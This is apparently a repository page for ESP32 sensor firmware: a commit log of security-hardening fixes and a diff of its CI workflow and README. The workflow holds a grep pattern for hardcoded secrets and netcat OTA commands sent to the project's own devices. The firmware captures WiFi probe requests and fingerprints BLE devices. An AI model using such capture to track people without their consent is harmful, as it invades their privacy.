52 Commits
v1.7.6 ... main

Author SHA1 Message Date
user
1d0696a72c chore: Re-trigger pipeline
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 18s
Lint & Build / Secret Scanning (push) Successful in 6s
Lint & Build / C/C++ Static Analysis (push) Successful in 36s
Lint & Build / Build Firmware (push) Failing after 2m31s
2026-02-18 09:22:19 +01:00
user
3cc5f06e78 ci: Re-trigger pipeline after anvil redeploy
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 22s
Lint & Build / Secret Scanning (push) Successful in 8s
Lint & Build / C/C++ Static Analysis (push) Successful in 41s
Lint & Build / Build Firmware (push) Failing after 4m44s
2026-02-15 01:11:55 +01:00
user
796c6ced28 fix: Exclude known NVS key names from secret detection
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 34s
Lint & Build / Build Firmware (push) Failing after 2m13s
The strings check was matching 'auth_secret' (NVS key) and
'secret=%s' (printf format) as false positives. Filter out
known firmware patterns.
2026-02-15 00:14:05 +01:00
user
ba6a2a13ee fix: Add IDF_PATH_FORCE for export.sh detection
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 35s
Lint & Build / Build Firmware (push) Failing after 2m14s
export.sh requires IDF_PATH_FORCE=1 to honor the IDF_PATH env var
instead of auto-detecting from script location.
2026-02-15 00:09:43 +01:00
user
e96ec06a18 fix: Set IDF_PATH explicitly in build job
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 6s
Lint & Build / C/C++ Static Analysis (push) Successful in 35s
Lint & Build / Build Firmware (push) Failing after 16s
The espressif/idf:v5.5 container fails to auto-detect IDF_PATH
from export.sh when run under Gitea Actions. Set it explicitly
as an env var.
2026-02-15 00:07:24 +01:00
user
54640a733b fix: Resolve cppcheck shadow variable and uninitvar warnings
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 34s
Lint & Build / Build Firmware (push) Failing after 1m23s
Rename local 'arg' to 'val' in serial_task to avoid shadowing the
function parameter. Guard staged memcpy with nsub > 0 to satisfy
cppcheck uninitvar analysis.
2026-02-14 23:06:51 +01:00
user
c895f52151 feat: Push firmware to Harbor for Trivy scanning
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Failing after 34s
Lint & Build / Build Firmware (push) Has been skipped
Add crane-based OCI image push step to CI workflow.
Packages firmware binary into scratch image and pushes to
harbor.mymx.me/library/firmware:<sha> on every build.
Tag pushes also get a version tag. Harbor auto-scans with Trivy.
2026-02-14 23:03:27 +01:00
user
c76c1ee61b feat: OTA TLS cert verification + CI release pipeline
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Failing after 34s
Lint & Build / Build Firmware (push) Has been skipped
Wire ESP-IDF's built-in 150-CA root bundle to the OTA HTTP client
so HTTPS OTA verifies server certificates. Pin bundle config in
sdkconfig.defaults. Replace dead artifact-copy step with Gitea
release creation on tag push. Bump CI container to IDF v5.5.
2026-02-14 22:38:41 +01:00
user
0bcb5ddf0c fix: Enable stack canaries, heap poisoning, WDT panic; remove dead code
- CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y (buffer overflow detection)
- CONFIG_HEAP_POISONING_LIGHT=y (use-after-free/corruption detection)
- CONFIG_ESP_TASK_WDT_PANIC=y (auto-reboot on hung task)
- Remove unused #include "esp_now.h" (CVE-2025-52471 mitigation)
- Replace hardcoded default IP 192.168.129.11 with 0.0.0.0 in Kconfig
2026-02-14 22:16:13 +01:00
user
31724df63f docs: Add pentest results and update project docs
Executed non-invasive pentest against amber-maple (v1.12-dev):
- Phase 1: mDNS, port scan, binary analysis, eFuse readout
- Phase 2: HMAC timing, command injection (27 tests), replay (6 tests)
- Phase 3: NVS analysis, CVE check (12 CVEs), binary structure
All network-facing tests PASS. Physical security gaps documented.
2026-02-14 21:55:47 +01:00
user
8445fab1ce docs: Add serial console and provisioning to cheatsheet 2026-02-14 20:49:03 +01:00
user
a81e7e3990 feat: Serial console AUTH + NVS provisioning tool
- Add serial_task: UART console for AUTH management with physical access
  AUTH shows full secret, AUTH <secret> sets, AUTH OFF clears
- Add esp-provision tool: provision auth secret via serial or NVS flash
  Supports auto-generate, custom secrets, --serial and --generate-only
- Fix esp-ota uptime cache: avoid firmware rate limiter on consecutive
  udp_cmd calls by caching uptime_s for 3s
2026-02-14 20:48:40 +01:00
user
a4bd2a6315 fix: Add uptime sync to all tools for 5s HMAC replay window
All three standalone tools (esp-cmd, esp-fleet, esp-ota) now fetch
device uptime before signing commands, matching what esp-ctl already
does. Includes 60ms delay after uptime fetch to avoid firmware rate
limiter (50ms inter-command throttle).
2026-02-14 20:29:49 +01:00
user
8fcc90a6db docs: Update cheatsheet for security hardening changes
- HMAC protocol: 16 -> 32 hex chars, document replay window
- Remove AUTH OFF (disabled remotely, use FACTORY reset)
- Split STATUS fields into authed/unauthed columns
- Update LED states for quiet mode (now default)
- Update mDNS discovery note (service ad removed)
2026-02-14 20:15:55 +01:00
user
57927c7c22 fix: Address P2 security audit findings
- VULN-012: Split STATUS into minimal (unauthed: hostname, uptime,
  rssi, version, motion, presence) and full (authed: all internals,
  build info, target IP, heap, NVS stats)
- VULN-011: Remove mDNS service advertisement and hardcoded "ESP32 CSI
  Sensor" instance name; use hostname only
- VULN-021: Increase HMAC tag from 64 bits (16 hex) to 128 bits
  (32 hex) — BREAKING: client scripts must update HMAC computation
- VULN-023: Enable PMF (802.11w) in sdkconfig.defaults to prevent
  deauth attacks at protocol level
2026-02-14 20:10:14 +01:00
user
ed8669c0af fix: Address P1 security audit findings
- VULN-010: Prevent CSI UDP buffer overflow with bounds-checked
  serialization loops and clamped pos before sendto
- VULN-019: Validate probe frame sig_len before body access
- VULN-017: Add NVS write throttle to config_erase_key()
- VULN-009: Tighten HMAC replay window from ±30s to ±5s, add nonce
  dedup cache (8 entries) to reject exact replays within window
- VULN-004/018: Add 50ms rate limit on command socket (20 cmd/s max)
- VULN-014: Stage baseline calibration in local buffer, gate with
  atomic nsub write to prevent partial reads from CSI callback
2026-02-14 20:05:06 +01:00
user
bbe0e3fb21 fix: Harden command auth and prevent remote auth disable
- Flip cmd_requires_auth() from blacklist to whitelist: only read-only
  query commands are unauthenticated, all state-modifying commands now
  require HMAC (VULN-007)
- Block AUTH OFF command to prevent remote auth disable; secret rotation
  still allowed, full reset via FACTORY (VULN-005)
- Redact auth secret in boot log to first 4 chars only (VULN-003)
- Update HELP text to reflect AUTH change
2026-02-14 20:01:19 +01:00
user
476a9beb3b fix: Harden HMAC auth, sanitize inputs, throttle NVS writes
- Constant-time HMAC comparison (prevents timing side-channel)
- Add timestamp to HMAC scheme for replay protection (30s window)
  New format: HMAC:<16hex>:<uptime_s>:<cmd>
- Validate HOSTNAME against [a-z0-9-] to prevent UDP stream injection
- Sanitize probe request SSIDs (strip non-printable chars and commas)
- Redact HMAC token from serial log output
- NVS write throttle: max 20 writes per 10s to prevent flash wear
2026-02-14 18:41:21 +01:00
user
ebc8a00b46 feat: Auto-generate auth secret and enforce HMAC on privileged commands
- Generate 128-bit random auth secret on first boot via hardware RNG,
  persist to NVS, log to serial for retrieval
- Gate destructive commands (OTA, FACTORY, REBOOT, TARGET, AUTH,
  HOSTNAME set) behind HMAC authentication
- Read-only and operational commands remain open for monitoring
- Require WPA2/WPA3 for WiFi AP association (reject open/WEP)
2026-02-14 18:36:31 +01:00
user
00b3372a6d docs: Update project docs with ALERT command and v1.11 completion 2026-02-14 17:42:02 +01:00
user
ce5205eb29 feat: Add ALERT command for temp/heap threshold monitoring
ALERT TEMP <celsius> and ALERT HEAP <bytes> emit EVENT packets
when thresholds are crossed (60s holdoff). NVS-persisted, shown
in STATUS and CONFIG. Temp alerts require SOC_TEMP_SENSOR_SUPPORTED.
2026-02-14 17:40:12 +01:00
user
5d37bde414 docs: Mark OTA rollback test passed on amber-maple 2026-02-14 17:12:59 +01:00
user
09dd40df91 docs: Mark v1.11.0 deployed to fleet 2026-02-14 15:46:37 +01:00
user
3f9c0b935e docs: Update TASKS with PING, LOG, RSSI RESET commands 2026-02-14 14:31:57 +01:00
user
35049df04e feat: Add PING, LOG, RSSI RESET commands
PING returns OK PONG for connectivity testing. LOG sets global
esp_log_level at runtime (NONE/ERROR/WARN/INFO/DEBUG/VERBOSE).
RSSI RESET clears min/max RSSI tracking counters. Compact HELP
text to fit 1400-byte reply buffer.
2026-02-14 14:30:11 +01:00
user
468a97713c feat: Add HELP, CONFIG, FACTORY commands; sync project docs
Firmware: HELP lists all 27 commands with syntax, CONFIG dumps
running config as key=value, FACTORY erases NVS and reboots.

Docs: update PROJECT, ROADMAP, TASKS, TODO to reflect v1.10
completion, v1.11 unreleased work, and esp32-web v0.1.5 state.
Remove stale v2.0 Flask phase-by-phase plan (now tracked in
~/git/esp32-web/). Clean deferred items from completed milestones.
2026-02-14 14:26:01 +01:00
user
aea0a06a5f feat: Add CSI ON/OFF command to toggle CSI collection
When CSI is OFF, probe request capture remains active.
Persisted via NVS key 'csi_enabled'.
2026-02-06 16:21:52 +01:00
user
2e4fa30b84 ci: Remove deploy job (deploy locally instead)
All checks were successful
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 28s
Lint & Build / Build Firmware (push) Successful in 2m58s
2026-02-05 23:46:37 +01:00
user
89e05bbb7e ci: Use absolute path for ESP-IDF on host runner
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 6s
Lint & Build / C/C++ Static Analysis (push) Successful in 28s
Lint & Build / Deploy to ESP Fleet (push) Failing after 1s
Lint & Build / Build Firmware (push) Has been cancelled
2026-02-05 23:43:59 +01:00
user
f9d22cbe39 ci: Use curl/tar for deploy checkout (host has no git)
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 28s
Lint & Build / Build Firmware (push) Has been skipped
Lint & Build / Deploy to ESP Fleet (push) Failing after 1s
2026-02-05 23:29:52 +01:00
user
12fa03a2d5 feat: Default LED to quiet mode (off, solid on motion)
All checks were successful
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 27s
Lint & Build / Build Firmware (push) Successful in 1m53s
Lint & Build / Deploy to ESP Fleet (push) Has been skipped
2026-02-05 23:27:13 +01:00
user
9e3038e85f ci: Run deploy on host with local HTTP server for OTA
All checks were successful
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 28s
Lint & Build / Build Firmware (push) Successful in 1m53s
Lint & Build / Deploy to ESP Fleet (push) Has been skipped
2026-02-05 23:23:45 +01:00
user
de3e120c7e ci: Use Gitea release URL for OTA instead of local HTTP server
All checks were successful
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 27s
Lint & Build / Build Firmware (push) Has been skipped
Lint & Build / Deploy to ESP Fleet (push) Successful in 4m24s
2026-02-05 23:14:06 +01:00
user
b65256fa45 feat: Add LED quiet mode (off normally, solid on motion)
LED command: LED [QUIET|AUTO]
- QUIET: LED off, turns solid on motion/presence detection, blinks on OTA
- AUTO: Original behavior (constant blink)

Persisted via NVS key 'led_quiet'.
2026-02-05 23:13:32 +01:00
user
a84abf03ca ci: Add security checks (secrets scan, config validation) 2026-02-05 23:02:46 +01:00
user
4da0679d4e ci: Skip build job on tag pushes (deploy rebuilds) 2026-02-05 23:00:10 +01:00
user
da9859571b ci: Remove shellcheck, run deploy in container with host network
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 16s
Lint & Build / Secret Scanning (push) Successful in 4s
Lint & Build / C/C++ Static Analysis (push) Successful in 27s
Lint & Build / Build Firmware (push) Successful in 2m41s
Lint & Build / Deploy to ESP Fleet (push) Has been cancelled
- Remove shellcheck job (no shell scripts)
- Deploy job now uses espressif/idf container with --network=host
- Install git, curl, jq, netcat in deploy container
2026-02-05 22:54:16 +01:00
user
52603fb097 fix: Use git clone instead of curl for deploy checkout
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 28s
Lint & Build / Shell Script Analysis (push) Successful in 7s
Lint & Build / Build Firmware (push) Successful in 2m52s
Lint & Build / Deploy to ESP Fleet (push) Failing after 0s
2026-02-05 22:47:51 +01:00
user
974ffadb1c ci: Add firmware size check and version tag validation
Some checks failed
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 28s
Lint & Build / Shell Script Analysis (push) Successful in 7s
Lint & Build / Build Firmware (push) Successful in 1m51s
Lint & Build / Deploy to ESP Fleet (push) Failing after 1s
- Fail build if binary exceeds 1920 KB partition
- Warn at 85% capacity
- Warn if git tag differs from embedded version
2026-02-05 22:42:49 +01:00
user
eb4c3d1657 feat: Add build metadata to STATUS, enable size optimization
STATUS now includes built=, idf=, chip= fields for diagnostics.
Switch to -Os compiler optimization (saves ~75 KB).
2026-02-05 22:42:45 +01:00
user
456b4f0b9a ci: Run build after checks pass, fix deploy checkout
All checks were successful
Lint & Build / Security Flaw Analysis (push) Successful in 15s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / C/C++ Static Analysis (push) Successful in 27s
Lint & Build / Shell Script Analysis (push) Successful in 7s
Lint & Build / Build Firmware (push) Successful in 1m53s
Lint & Build / Deploy to ESP Fleet (push) Has been skipped
2026-02-05 22:24:38 +01:00
user
a338c9f65f ci: Fix multiline command syntax for host runner
Some checks failed
Lint & Build / C/C++ Static Analysis (push) Successful in 29s
Lint & Build / Security Flaw Analysis (push) Successful in 20s
Lint & Build / Secret Scanning (push) Successful in 8s
Lint & Build / Shell Script Analysis (push) Successful in 9s
Lint & Build / Build Firmware (push) Successful in 2m4s
Lint & Build / Deploy to ESP Fleet (push) Failing after 1s
2026-02-05 22:18:50 +01:00
user
fbf2e9a7c1 ci: Add OTA progress monitoring with version checks
Some checks are pending
Lint & Build / C/C++ Static Analysis (push) Successful in 29s
Lint & Build / Deploy to ESP Fleet (push) Blocked by required conditions
Lint & Build / Security Flaw Analysis (push) Successful in 21s
Lint & Build / Secret Scanning (push) Successful in 8s
Lint & Build / Shell Script Analysis (push) Successful in 9s
Lint & Build / Build Firmware (push) Successful in 2m24s
2026-02-05 22:11:13 +01:00
user
1377abe248 ci: Run deploy on host instead of container for network access
Some checks failed
Lint & Build / Deploy to ESP Fleet (push) Has been cancelled
Lint & Build / Security Flaw Analysis (push) Has been cancelled
Lint & Build / Secret Scanning (push) Has been cancelled
Lint & Build / Shell Script Analysis (push) Has been cancelled
Lint & Build / C/C++ Static Analysis (push) Has been cancelled
Lint & Build / Build Firmware (push) Has been cancelled
2026-02-05 22:09:47 +01:00
user
551225d308 fix: Remove unused app_size variable (cppcheck)
All checks were successful
Lint & Build / C/C++ Static Analysis (push) Successful in 29s
Lint & Build / Security Flaw Analysis (push) Successful in 22s
Lint & Build / Secret Scanning (push) Successful in 8s
Lint & Build / Shell Script Analysis (push) Successful in 10s
Lint & Build / Build Firmware (push) Successful in 2m21s
Lint & Build / Deploy to ESP Fleet (push) Successful in 3m20s
2026-02-05 22:08:30 +01:00
user
7f2e3f6dad ci: Add ccache for faster builds + parallel OTA deployment
Some checks failed
Lint & Build / C/C++ Static Analysis (push) Failing after 32s
Lint & Build / Security Flaw Analysis (push) Successful in 21s
Lint & Build / Secret Scanning (push) Successful in 8s
Lint & Build / Shell Script Analysis (push) Successful in 10s
Lint & Build / Build Firmware (push) Successful in 2m7s
Lint & Build / Deploy to ESP Fleet (push) Successful in 3m0s
Build improvements:
- Enable ccache via IDF_CCACHE_ENABLE=1
- Mount /var/cache/ccache volume for persistent cache
- Show ccache stats after build

Deployment improvements:
- Deploy to all sensors in parallel (max 3)
- Reduced total deploy time from ~2.5min to ~1min

Note: Runner needs /var/cache/ccache directory with write permissions
2026-02-05 22:02:29 +01:00
user
a85a2d776b ci: Use host network for deploy container
Some checks failed
Lint & Build / C/C++ Static Analysis (push) Failing after 34s
Lint & Build / Security Flaw Analysis (push) Successful in 21s
Lint & Build / Secret Scanning (push) Successful in 7s
Lint & Build / Shell Script Analysis (push) Successful in 10s
Lint & Build / Build Firmware (push) Successful in 1m56s
Lint & Build / Deploy to ESP Fleet (push) Successful in 4m18s
2026-02-05 21:55:21 +01:00
user
6dbab23329 ci: Serve firmware from runner for OTA deployment
Some checks failed
Lint & Build / C/C++ Static Analysis (push) Failing after 37s
Lint & Build / Security Flaw Analysis (push) Successful in 21s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / Shell Script Analysis (push) Successful in 6s
Lint & Build / Build Firmware (push) Successful in 2m12s
Lint & Build / Deploy to ESP Fleet (push) Successful in 4m19s
Instead of having ESP devices download from Gitea (TLS cert issues),
the runner now serves firmware via local HTTP server and triggers
OTA with the local URL.
2026-02-05 21:48:53 +01:00
user
4b3697c8e6 feat: Add NVS and partition info to STATUS response
Some checks failed
Lint & Build / C/C++ Static Analysis (push) Failing after 38s
Lint & Build / Security Flaw Analysis (push) Successful in 20s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / Shell Script Analysis (push) Successful in 7s
Lint & Build / Build Firmware (push) Successful in 2m12s
Lint & Build / Deploy to ESP Fleet (push) Successful in 3m31s
- nvs_used: NVS entries in use
- nvs_free: free NVS entries
- nvs_total: total NVS entries
- part_size: running partition size in bytes
2026-02-05 21:33:20 +01:00
user
f87ddec742 docs: Add v2.0 Flask API backend roadmap
Plan for REST API backend (purple team/OPSEC/OSINT):
- Phase 1: Project scaffold, SQLAlchemy models, podman
- Phase 2: UDP collector for sensor data streams
- Phase 3: Core API endpoints (sensors, devices, alerts, probes, events)
- Phase 4: OSINT features (OUI lookup, BLE company ID mapping)
- Phase 5: Fleet management API

Port allocation:
- TCP 5500: HTTP REST API
- UDP 5500: Sensor data collector
- UDP 5501: Sensor commands (outbound)

Also documents completed v1.8 (HTTPS OTA) and v1.9 (multi-channel
scanning, BLE fingerprinting) milestones.
2026-02-05 20:41:24 +01:00
user
d58b6dd814 feat: v1.9 — multi-channel scanning, BLE fingerprinting
Multi-channel scanning (CHANSCAN command):
- Periodic channel hopping (1-13) with 100ms dwell for broader probe capture
- CHANSCAN ON/OFF/NOW/INTERVAL subcommands
- New NVS keys: chanscan (i8), chanscan_int (i32)
- Emits EVENT,hostname,chanscan=done channels=13 on completion
- PROBE_DATA now includes channel number

BLE fingerprinting:
- Extended BLE_DATA format with company_id, tx_power, flags
- Extracts manufacturer data from BLE advertisements
- Common IDs: 0x004C (Apple), 0x00E0 (Google), 0x0075 (Samsung)

STATUS output now includes chanscan=on/off field.
2026-02-05 17:38:08 +01:00
user
9234ff00de feat: Support HTTPS URLs for OTA updates
All checks were successful
Lint & Build / C/C++ Static Analysis (push) Successful in 35s
Lint & Build / Security Flaw Analysis (push) Successful in 19s
Lint & Build / Secret Scanning (push) Successful in 5s
Lint & Build / Shell Script Analysis (push) Successful in 7s
Lint & Build / Build Firmware (push) Successful in 2m18s
Lint & Build / Deploy to ESP Fleet (push) Successful in 3m32s
2026-02-05 13:57:08 +01:00
17 changed files with 3998 additions and 283 deletions

View File

@@ -7,131 +7,142 @@ on:
pull_request: pull_request:
branches: [main] branches: [main]
workflow_dispatch: workflow_dispatch:
inputs:
deploy:
description: 'Deploy to ESP fleet after build'
required: false
default: 'false'
type: choice
options:
- 'false'
- 'true'
jobs: jobs:
build: build:
name: Build Firmware name: Build Firmware
needs: [cppcheck, flawfinder, gitleaks]
runs-on: anvil runs-on: anvil
container: container:
image: docker.io/espressif/idf:v5.3 image: docker.io/espressif/idf:v5.5
volumes:
- /var/cache/ccache:/ccache
env:
CCACHE_DIR: /ccache
IDF_CCACHE_ENABLE: 1
IDF_PATH: /opt/esp/idf
IDF_PATH_FORCE: 1
steps: steps:
- name: Checkout - name: Checkout
run: | run: |
git clone --depth=1 --branch=${{ github.ref_name }} \ git clone --depth=1 --branch=${{ github.ref_name }} \
https://oauth2:${{ github.token }}@git.mymx.me/${{ github.repository }}.git . https://oauth2:${{ github.token }}@git.mymx.me/${{ github.repository }}.git .
- name: Setup ccache
run: |
apt-get update && apt-get install -y --no-install-recommends ccache
ccache --zero-stats
ccache --show-config | grep -E "(cache_dir|max_size)"
- name: Build firmware - name: Build firmware
run: | run: |
. /opt/esp/idf/export.sh . /opt/esp/idf/export.sh
cd get-started/csi_recv_router cd get-started/csi_recv_router
idf.py build idf.py build
- name: Show ccache stats
run: ccache --show-stats
- name: Show binary size - name: Show binary size
run: | run: |
ls -lh get-started/csi_recv_router/build/*.bin ls -lh get-started/csi_recv_router/build/*.bin
- name: Upload firmware artifact - name: Check firmware size
run: | run: |
mkdir -p /tmp/artifacts BIN="get-started/csi_recv_router/build/csi_recv_router.bin"
cp get-started/csi_recv_router/build/csi_recv_router.bin /tmp/artifacts/ MAX_SIZE=1966080 # 0x1E0000 = 1920 KB partition
cp get-started/csi_recv_router/build/bootloader/bootloader.bin /tmp/artifacts/ WARN_PERCENT=85
cp get-started/csi_recv_router/build/partition_table/partition-table.bin /tmp/artifacts/
cp get-started/csi_recv_router/build/ota_data_initial.bin /tmp/artifacts/
echo "Artifacts ready in /tmp/artifacts"
ls -la /tmp/artifacts/
deploy: SIZE=$(stat -c%s "$BIN")
name: Deploy to ESP Fleet PERCENT=$((SIZE * 100 / MAX_SIZE))
runs-on: anvil
needs: build
if: github.event_name == 'workflow_dispatch' && github.event.inputs.deploy == 'true' || startsWith(github.ref, 'refs/tags/v')
container:
image: docker.io/espressif/idf:v5.3
steps:
- name: Install tools
run: |
apt-get update && apt-get install -y --no-install-recommends netcat-openbsd curl jq
- name: Checkout echo "Firmware: $((SIZE/1024)) KB / $((MAX_SIZE/1024)) KB ($PERCENT%)"
run: |
git clone --depth=1 --branch=${{ github.ref_name }} \
https://oauth2:${{ github.token }}@git.mymx.me/${{ github.repository }}.git .
- name: Build firmware if [ $SIZE -gt $MAX_SIZE ]; then
run: | echo "::error::Firmware exceeds partition size!"
. /opt/esp/idf/export.sh exit 1
cd get-started/csi_recv_router
idf.py build
- name: Create release and upload firmware
env:
GITEA_TOKEN: ${{ github.token }}
run: |
TAG="${{ github.ref_name }}"
REPO="${{ github.repository }}"
API_URL="https://git.mymx.me/api/v1"
echo "Creating release for tag: $TAG"
# Check if release exists
RELEASE=$(curl -s -H "Authorization: token $GITEA_TOKEN" \
"$API_URL/repos/$REPO/releases/tags/$TAG")
RELEASE_ID=$(echo "$RELEASE" | jq -r '.id // empty')
if [ -z "$RELEASE_ID" ]; then
# Create new release
RELEASE=$(curl -s -X POST -H "Authorization: token $GITEA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"tag_name\": \"$TAG\", \"name\": \"$TAG\", \"body\": \"Automated release from CI\"}" \
"$API_URL/repos/$REPO/releases")
RELEASE_ID=$(echo "$RELEASE" | jq -r '.id')
echo "Created release ID: $RELEASE_ID"
else
echo "Release exists with ID: $RELEASE_ID"
fi fi
# Upload firmware binary if [ $PERCENT -gt $WARN_PERCENT ]; then
echo "Uploading firmware..." echo "::warning::Firmware using $PERCENT% of partition"
curl -s -X POST -H "Authorization: token $GITEA_TOKEN" \ fi
-F "attachment=@get-started/csi_recv_router/build/csi_recv_router.bin" \
"$API_URL/repos/$REPO/releases/$RELEASE_ID/assets?name=csi_recv_router.bin"
# Store release URL for OTA - name: Security checks
FIRMWARE_URL="https://git.mymx.me/$REPO/releases/download/$TAG/csi_recv_router.bin"
echo "Firmware URL: $FIRMWARE_URL"
echo "$FIRMWARE_URL" > /tmp/firmware_url.txt
- name: Deploy via OTA
run: | run: |
FIRMWARE_URL=$(cat /tmp/firmware_url.txt) BIN="get-started/csi_recv_router/build/csi_recv_router.bin"
echo "Using firmware URL: $FIRMWARE_URL" CFG="get-started/csi_recv_router/sdkconfig"
# Deploy to muddy-storm echo "=== Checking for hardcoded secrets ==="
echo "=== Deploying to muddy-storm (192.168.129.29) ===" if strings "$BIN" | grep -iE '(password|secret|api_key|apikey)=' \
echo "OTA $FIRMWARE_URL" | nc -u -w 2 192.168.129.29 5501 || true | grep -ivE '(auth_secret|secret=%s|secret=\$)'; then
sleep 30 echo "::error::Potential hardcoded secret found in binary"
exit 1
fi
echo "No hardcoded secrets detected"
# Deploy to amber-maple echo "=== Checking release configuration ==="
echo "=== Deploying to amber-maple (192.168.129.30) ===" LOG_LEVEL=$(grep 'CONFIG_LOG_DEFAULT_LEVEL=' "$CFG" | cut -d= -f2)
echo "OTA $FIRMWARE_URL" | nc -u -w 2 192.168.129.30 5501 || true if [ "$LOG_LEVEL" -gt 3 ]; then
sleep 30 echo "::warning::Debug/verbose logging enabled (level $LOG_LEVEL)"
else
echo "Log level OK ($LOG_LEVEL)"
fi
# Deploy to hollow-acorn echo "=== Component size breakdown ==="
echo "=== Deploying to hollow-acorn (192.168.129.31) ===" . /opt/esp/idf/export.sh
echo "OTA $FIRMWARE_URL" | nc -u -w 2 192.168.129.31 5501 || true cd get-started/csi_recv_router
sleep 30 idf.py size-components 2>/dev/null | head -30
echo "=== Deployment complete ===" - name: Push to Harbor
run: |
CRANE_VERSION="v0.20.3"
curl -sL "https://github.com/google/go-containerregistry/releases/download/${CRANE_VERSION}/go-containerregistry_Linux_x86_64.tar.gz" \
| tar xz -C /usr/local/bin crane
BIN="get-started/csi_recv_router/build/csi_recv_router.bin"
TAG=$(echo "${{ github.sha }}" | cut -c1-7)
IMAGE="harbor.mymx.me/library/firmware"
crane auth login harbor.mymx.me \
-u "${{ secrets.HARBOR_USER }}" \
-p "${{ secrets.HARBOR_PASS }}"
tar cf /tmp/firmware.tar -C "$(dirname "$BIN")" "$(basename "$BIN")"
crane append -f /tmp/firmware.tar -t "$IMAGE:$TAG"
if [ "${{ github.ref_type }}" = "tag" ]; then
crane tag "$IMAGE:$TAG" "${{ github.ref_name }}"
fi
echo "Pushed $IMAGE:$TAG"
- name: Create release
if: startsWith(github.ref, 'refs/tags/v')
run: |
BIN="get-started/csi_recv_router/build/csi_recv_router.bin"
TAG="${{ github.ref_name }}"
API="https://git.mymx.me/api/v1/repos/${{ github.repository }}"
TOKEN="${{ github.token }}"
SIZE=$(stat -c%s "$BIN")
RELEASE_ID=$(curl -sS -f -X POST "$API/releases" \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"tag_name\": \"$TAG\",
\"name\": \"$TAG\",
\"body\": \"Firmware $TAG — $((SIZE / 1024)) KB\"
}" | python3 -c "import json,sys; print(json.load(sys.stdin)['id'])")
echo "Release $RELEASE_ID created for $TAG"
curl -sS -f -X POST \
"$API/releases/$RELEASE_ID/assets?name=csi_recv_router.bin" \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/octet-stream" \
--data-binary @"$BIN"
echo "Uploaded csi_recv_router.bin ($((SIZE / 1024)) KB)"
cppcheck: cppcheck:
name: C/C++ Static Analysis name: C/C++ Static Analysis
@@ -191,27 +202,3 @@ jobs:
- name: Run gitleaks - name: Run gitleaks
run: gitleaks detect --source . --verbose --redact run: gitleaks detect --source . --verbose --redact
shellcheck:
name: Shell Script Analysis
runs-on: anvil
container:
image: docker.io/koalaman/shellcheck-alpine:stable
steps:
- name: Install git
run: apk add --no-cache git
- name: Checkout
run: |
git clone --depth=1 --branch=${{ github.ref_name }} \
https://oauth2:${{ github.token }}@git.mymx.me/${{ github.repository }}.git .
- name: Find and check shell scripts
run: |
SCRIPTS=$(find . -name "*.sh" -type f 2>/dev/null || true)
if [ -n "$SCRIPTS" ]; then
echo "Checking: $SCRIPTS"
echo "$SCRIPTS" | xargs shellcheck --severity=warning
else
echo "No shell scripts found, skipping"
fi

View File

@@ -1,47 +1,121 @@
# ESP32 Hacking Project # ESP32 Hacking Project
## Overview ## Overview
Firmware customization and experimentation for ESP32 CSI (Channel State Information) sensors used in the [wifi-sensing](~/git/wifi-sensing/) project.
Firmware and tooling for ESP32 CSI (Channel State Information) sensors used for passive wireless sensing, device tracking, and security monitoring (OPSEC/OSINT/Purple team).
## Goals ## Goals
- Document current firmware and configuration
- Add remote management commands (reboot, identify, status) - Custom ESP32 firmware with remote management, OTA updates, adaptive sampling
- Implement OTA firmware updates - BLE scanning and WiFi probe/deauth detection for device intelligence
- Explore BLE scanning for complementary presence detection - CSI-based presence detection without cameras
- Optimize CSI data pipeline (adaptive rate, on-device processing) - Flask REST API backend for data aggregation and OSINT queries
- Fleet management for multiple sensors
## Components
| Component | Location | Description |
|-----------|----------|-------------|
| Firmware | `get-started/csi_recv_router/` | ESP32 sensor firmware (C, ESP-IDF) |
| CLI Tools | `~/git/esp-tools/` | `esp-ctl`, `esp-fleet`, `esp-ota` |
| Flask API | `~/git/esp32-web/` | REST API backend (v0.1.5, Python, Flask) |
